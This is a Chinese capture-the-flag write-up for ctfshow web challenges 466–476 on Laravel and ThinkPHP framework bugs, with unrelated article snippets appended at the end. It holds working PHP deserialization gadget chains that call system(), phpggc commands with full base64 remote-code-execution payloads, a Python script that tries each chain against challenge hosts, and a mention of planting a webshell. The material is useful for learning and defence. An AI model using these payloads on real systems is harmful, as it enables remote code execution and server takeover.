ctfshow 框架复现

ops/2024/9/23 21:18:23/

文章目录

    • web 466
    • web 467
    • web 468
    • web469
    • web 470
    • web 471
    • web 472
    • web 473
    • web 474
    • web 475
    • web 476

web 466

Laravel5.4版本 ,提交数据需要base64编码

代码审计学习—Laravel5.4 - 先知社区 (aliyun.com)

用第二条链子

反序列化格式 /admin/序列化串base64
<?php
namespace Illuminate\Validation {class Validator {public $extensions = [];public function __construct() {$this->extensions = ['' => 'system'];}}
}namespace Illuminate\Broadcasting {use  Illuminate\Validation\Validator;class PendingBroadcast {protected $events;protected $event;public function __construct($cmd){$this->events = new Validator();$this->event = $cmd;}}echo base64_encode(serialize(new PendingBroadcast('cat /flag')));
}
?>

web 467

Laravel5.5版本 提交数据需要base64编码

参考文章:Laravel5.4 反序列化漏洞挖掘 - 先知社区 (aliyun.com)

第三条链子

<?php
namespace Illuminate\Broadcasting
{use  Illuminate\Events\Dispatcher;class PendingBroadcast{protected $events;protected $event;public function __construct($cmd){$this->events = new Dispatcher($cmd);$this->event=$cmd;}}echo base64_encode(serialize(new PendingBroadcast("cat /flag")));
}namespace Illuminate\Events
{class Dispatcher{protected $listeners;public function __construct($event){$this->listeners=[$event=>['system']];}}
}

web 468

Laravel5.5版本 提交数据需要base64编码

我们已经知道原理了,直接工具打吧

从0到1掌握反序列化工具之PHPGGC - 先知社区 (aliyun.com)

查看各种应用各种版本的链子

./phpggc -l

image-20240505163827557

生成链子,这里我们用 RCE3

./phpggc Laravel/RCE3 system "cat /f*"|base64 

生成后发现不行,反序列化结果会被调试页面覆盖

image-20240505163722757

那只能带外了

./phpggc Laravel/RCE3 system "cat /f* >1.txt"|base64 

image-20240505163749678

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mzk6IklsbHVtaW5hdGVcTm90aWZpY2F0aW9uc1xDaGFubmVsTWFuYWdlciI6Mzp7czo2OiIAKgBhcHAiO3M6MTQ6ImNhdCAvZiogPjEudHh0IjtzOjE3OiIAKgBkZWZhdWx0Q2hhbm5lbCI7czoxOiJ4IjtzOjE3OiIAKgBjdXN0b21DcmVhdG9ycyI7YToxOntzOjE6IngiO3M6Njoic3lzdGVtIjt9fX0K

然后访问 1.txt 就行了

web469

Laravel5.5版本 提交数据需要base64编码

Laravel RCE3 用不了了,我们用 4

./phpggc Laravel/RCE4 system "cat /f*"|base64
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MzE6IklsbHVtaW5hdGVcVmFsaWRhdGlvblxWYWxpZGF0b3IiOjE6e3M6MTA6ImV4dGVuc2lvbnMiO2E6MTp7czowOiIiO3M6Njoic3lzdGVtIjt9fXM6ODoiACoAZXZlbnQiO3M6NzoiY2F0IC9mKiI7fQo=

web 470

又出现 debug 页面了。而且还得换 RCE9

./phpggc Laravel/RCE9 system "cat /f* > 1.txt"|base64
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoxNToiY2F0IC9mKiA+IDEudHh0Ijt9fQo=

然后访问 1.txt

web 471

和上面一样

web 472

Laravel8.1版本 提交数据需要base64编码

写一个脚本遍历所有 rce

import os
import requestsfor i in range(1,20):data=os.popen(f"./phpggc  Laravel/RCE{i} system 'cat /f* >1.txt'|base64").read()url = f"https://36c90604-17a4-483d-b420-c4a064444212.challenge.ctf.show/admin/{data}"requests.get(url)res = requests.get("https://36c90604-17a4-483d-b420-c4a064444212.challenge.ctf.show/1.txt").textif 'ctfshow' in res:print(res)print(f"RCE{i}success!")
python3 attack.py 

image-20240505193439366

web 473

thinkphp5.0.15默认控制器的部分代码,使用默认路由:
public function inject(){$a=request()->get('a/a');db('users')->insert(['username'=>$a]);return 'done';}

快一点吧直接工具梭哈了

image-20240505194224848

web 474

Thinkphp v5.x 远程代码执行漏洞复现及POC集合-CSDN博客

扫这个没有

https://c5996b11-8db9-42d8-a43d-2ac4d7f5e605.challenge.ctf.show/public/index.php

得扫目录

https://c5996b11-8db9-42d8-a43d-2ac4d7f5e605.challenge.ctf.show/public

但是没有回显,写🐎进去

image-20240505200253173

蚁剑连接

image-20240505200317202

web 475

image-20240505201021946

web 476

image-20240505201344360


http://www.ppmy.cn/ops/33447.html

相关文章

(39)4.29数据结构(栈,队列和数组)栈

#include<stdlib.h> #include<stdio.h> #define MaxSize 10 #define Elemtype int 1.栈的基本概念 2.栈的基本操作 typedef struct { Elemtype data[MaxSize]; int top; }Sqstack;//初始化栈 void InitStack(Sqstack& S) { S.top -1; //初始化…

某度假村薪酬体系优化项目成功案例纪实

——增强薪酬弹性、重塑薪酬标准、释放薪酬增长潜力 【客户行业】文旅行业、酒店行业、文旅集团、度假村 【问题类型】薪酬体系 【客户背景】 某度假村是一家集住宿、娱乐、健身等服务为一体的综合服务场所&#xff0c;度假村内部环境优美、设施齐全&#xff0c;备有休闲中…

linux的压缩与备份

一、打包 格式&#xff1a;tar -参数 <打包文件名> <打包的目标> 作用&#xff1a;将文件或者目录打包 重要参数&#xff1a;-f 使用归档文件&#xff0c;一定要加上这个参数 -c 新建打包文件 -x 解包文件 -t 可以不用解包就能查看包文件内容 -v 打包和解包时显…

Ubuntu20.04 [Ros Noetic]版本——在catkin_make编译时出现报错的解决方案

今天在新的笔记本电脑上进行catkin_make的编译过程中遇到了报错&#xff0c;这个报错在之前也遇到过&#xff0c;但是&#xff0c;我却忘了怎么解决。很是头痛&#xff01; 经过多篇博客的查询&#xff0c;特此解决了这个编译报错的问题&#xff0c;于此特地记录&#xff01;&…

OceanBase 分布式数据库【信创/国产化】- OceanBase 平台产品 - 迁移评估工具 OMA

本心、输入输出、结果 文章目录 OceanBase 分布式数据库【信创/国产化】- OceanBase 平台产品 - 迁移评估工具 OMA前言OceanBase 数据更新架构OceanBase 平台产品 - 迁移评估工具 OMA兼容性评估性能评估导出 OceanBase 数据库对象和 SQL 语句OceanBase 分布式数据库【信创/国产…

简要说说软分叉和硬分叉。

前言 一、软分叉 二、硬分叉 三、用途 总结 前言 软分叉和硬分叉是区块链技术中的两个重要概念&#xff0c;它们通常与加密货币的网络升级有关。下面我将分别解释这两个概念&#xff0c;并提供一些例子来帮助理解。下面是方便理解软分叉和硬分叉的图 一、软分叉 软分叉是一…

liunx运维实战-----3 shell变量的核心基础知识和实践

1定义环境变量并赋值的方法 1 export 变量名值 2 source /etc/profile 3 echo $变量名 4 env | grep 变量名 2 环境变量也叫全局变量 3特殊情况&#xff1a;sed和grep没有问题 因为 awk取用shell变量时 和之前的定义是相反的 在awk取用shell变量时 我们更好的是先用echo加符号…

leetCode70. 爬楼梯

leetCode70. 爬楼梯 题目思路&#xff1a; 代码 class Solution { public:int climbStairs(int n) {int a 1, b 1;n n - 1;while(n--){int c a b;a b;b c;}return b;} };